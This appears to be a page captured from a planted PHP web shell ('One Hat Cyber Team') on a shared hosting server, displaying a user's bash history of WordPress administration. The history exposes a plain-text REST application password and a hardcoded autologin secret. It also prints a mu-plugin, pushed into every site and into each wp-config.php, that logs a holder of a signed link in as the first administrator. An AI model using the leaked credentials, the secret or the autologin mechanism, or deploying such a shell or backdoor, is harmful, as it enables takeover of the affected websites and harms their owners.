⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.173
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
sc1voni9410
/
View File Name :
.bash_history
#1772979175 ls -d ~/*/cslp06* ~/cslp06* 2>/dev/null #1772979198 cp ~/cslp06.org/.htaccess ~/cslp06.org/.htaccess.bak && cat ~/cslp06.org/.htaccess #1772979228 curl -s -w "\nHTTP_CODE:%{http_code}" -u "switch06:bLtm kBK9 CLKd qDm1 Hsew FZxX 4Ycx 5C9D qixk GHdD 0UyG ujl8 Ovs7 tXag AjIj cOkY" https://cslp06.org/wp-json/wp/v2/users/me #1772979267 cd ~/cslp06.org && wp user application-passwords list switch06 --fields=uuid,name,created,last_used #1772979292 wp user application-password list switch06 --fields=uuid,name,created,last_used #1772979337 sed -i '/RewriteRule \.\* - \[E=HTTP_AUTHORIZATION/a SetEnvIf Authorization "(.*)" HTTP_AUTHORIZATION=$1\nCGIPassAuth On' ~/cslp06.org/.htaccess && head -15 ~/cslp06.org/.htaccess #1772979373 curl -s -w "\nHTTP_CODE:%{http_code}" -u "switch06:bLtm kBK9 CLKd qDm1 Hsew FZxX 4Ycx 5C9D qixk GHdD 0UyG ujl8 Ovs7 tXag AjIj cOkY" https://cslp06.org/wp-json/wp/v2/users/me #1772979408 wp user application-password create switch06 "SCG-Fix-Test" --porcelain #1772979441 curl -s -v -u "switch06:NhGZtloiICFFXfIjTXShDaTC" https://cslp06.org/wp-json/wp/v2/users/me 2>&1 | grep -E "^(<|>) |HTTP_CODE|Authorization|Location|HTTP/" #1772979554 cp ~/cslp06.org/.htaccess.bak ~/cslp06.org/.htaccess && echo "htaccess restored" #1772985566 find ~/ -maxdepth 2 -name 'wp-config.php' 2>/dev/null #1772985623 echo 'PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBTRU8gRGl2aSBSRVNUIE1ldGEKICogRGVzY3JpcHRpb246IEVucmVnaXN0cmUgbGVzIGNoYW1wcyBtZXRhIERpdmkgcG91ciBsJ0FQSSBSRVNUIFdvcmRQcmVzcwogKiBWZXJzaW9uOiAxLjAuMAogKiBBdXRob3I6IFNlb0Jvb3N0ZXIKICovCmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsKICAgICRkaXZpX2tleXMgPSBbCiAgICAgICAgJ19ldF9wYl91c2VfYnVpbGRlcicsCiAgICAgICAgJ19ldF9wYl9wYWdlX2xheW91dCcsCiAgICAgICAgJ19ldF9wYl9zaWRlX25hdicsCiAgICAgICAgJ19ldF9wYl9wb3N0X2hpZGVfbmF2JywKICAgICAgICAnX2V0X3BiX3Nob3dfdGl0bGUnLAogICAgXTsKICAgIGZvcmVhY2ggKCRkaXZpX2tleXMgYXMgJGtleSkgewogICAgICAgIHJlZ2lzdGVyX3Bvc3RfbWV0YSgncG9zdCcsICRrZXksIFsKICAgICAgICAgICAgJ3Nob3dfaW5fcmVzdCcgID0+IHRydWUsCiAgICAgICAgICAgICdzaW5nbGUnICAgICAgICA9PiB0cnVlLAogICAgICAgICAgICAndHlwZScgICAgICAgICAgPT4gJ3N0cmluZycsCiAgICAgICAgICAgICdhdXRoX2NhbGxiYWNrJyA9PiBmdW5jdGlvbigpIHsgcmV0dXJuIGN1cnJlbnRfdXNlcl9jYW4oJ2VkaXRfcG9zdHMnKTsgfSwKICAgICAgICBdKTsKICAgIH0KfSk7Cg==' | base64 -d > /tmp/mu.php && wc -l /tmp/mu.php #1772985666 for d in /home/sc1voni9410/*/wp-content; do if [ -d "$d" ]; then mkdir -p "$d/mu-plugins" && cp /tmp/mu.php "$d/mu-plugins/seo-divi-rest-meta.php" && echo "OK: $d"; fi; done #1775108359 echo "=== AVANT ==="; echo "WP: $(ls ~/*/wp-config.php 2>/dev/null|wc -l)"; echo "SEC: $(grep -rl 'SBA_AUTOLOGIN_SECRET' ~/*/wp-config.php 2>/dev/null|wc -l)"; echo "MU: $(find ~/*/wp-content/mu-plugins/sba-autologin.php 2>/dev/null|wc -l)"; cat > /tmp/d.sh << 'E' #!/bin/bash S="9eaffc18efd1702fa0b9056628cacce206ae317b037b955aab3af5203f2354c8" for f in ~/*/wp-config.php; do d=$(dirname "$f"); s=$(basename "$d") if ! grep -q "SBA_AUTOLOGIN_SECRET" "$f"; then sed -i "1a\\define('SBA_AUTOLOGIN_SECRET','$S');" "$f" echo "SEC: $s" fi mp="$d/wp-content/mu-plugins" if [ ! -f "$mp/sba-autologin.php" ]; then R=$(find ~/*/wp-content/mu-plugins/sba-autologin.php 2>/dev/null|head -1) if [ -n "$R" ]; then mkdir -p "$mp"; cp "$R" "$mp/"; echo "MU: $s"; fi fi done echo DONE E #1775108365 bash /tmp/d.sh; echo "=== APRES ==="; echo "WP: $(ls ~/*/wp-config.php 2>/dev/null|wc -l)"; echo "SEC: $(grep -rl 'SBA_AUTOLOGIN_SECRET' ~/*/wp-config.php 2>/dev/null|wc -l)"; echo "MU: $(find ~/*/wp-content/mu-plugins/sba-autologin.php 2>/dev/null|wc -l)" #1775118450 for f in ~/*/wp-content/mu-plugins/_mu_autologin.php; do [ -f "$f" ] && rm "$f" && echo "DEL: $f"; done; cat > ~/sba-autologin.php << 'EOF' <?php if ( ! defined( 'ABSPATH' ) ) exit; add_action( 'init', function() { if ( empty( $_GET['sba_sig'] ) || empty( $_GET['sba_ts'] ) ) return; $sig = sanitize_text_field( $_GET['sba_sig'] ); $ts = intval( $_GET['sba_ts'] ); $secret = defined('SBA_AUTOLOGIN_SECRET') ? SBA_AUTOLOGIN_SECRET : ''; $domain = strtolower(str_replace('www.','',$_SERVER['HTTP_HOST'])); $ip = $_SERVER['REMOTE_ADDR'] ?? ''; $rk = 'sba_rate_'.md5($ip); $a = (int)get_transient($rk); if ($a >= 5) { wp_die('Trop de tentatives.','Limite',['response'=>429]); } set_transient($rk,$a+1,60); if (empty($secret)) { wp_die('Auto-login non configure.','Erreur',['response'=>500]); } if (abs(time()-$ts) > 60) { wp_die('Lien expire.','Expire',['response'=>403]); } $exp = hash_hmac('sha256',$domain.'|'.$ts,$secret); if (!hash_equals($exp,$sig)) { wp_die('Signature invalide.','Acces refuse',['response'=>403]); } $uk = 'sba_used_'.substr($sig,0,16); if (get_transient($uk)) { wp_die('Lien deja utilise.','Utilise',['response'=>403]); } set_transient($uk,1,120); $admins = get_users(['role'=>'administrator','number'=>1,'orderby'=>'ID','order'=>'ASC']); if (empty($admins)) { wp_die('Aucun admin.','Erreur',['response'=>500]); } $u = $admins[0]; wp_set_current_user($u->ID); wp_set_auth_cookie($u->ID,false); do_action('wp_login',$u->user_login,$u); wp_safe_redirect(admin_url()); exit; }, 1 ); EOF #1775118459 S="9eaffc18efd1702fa0b9056628cacce206ae317b037b955aab3af5203f2354c8"; for f in ~/*/wp-config.php; do d=$(dirname "$f"); s=$(basename "$d"); mkdir -p "$d/wp-content/mu-plugins" 2>/dev/null; cp ~/sba-autologin.php "$d/wp-content/mu-plugins/sba-autologin.php"; grep -q "SBA_AUTOLOGIN_SECRET" "$f" && echo "OK: $s" || { sed -i "1a\\define('SBA_AUTOLOGIN_SECRET','$S');" "$f"; echo "ADD: $s"; }; done; echo "=== DONE sc1voni9410 ==="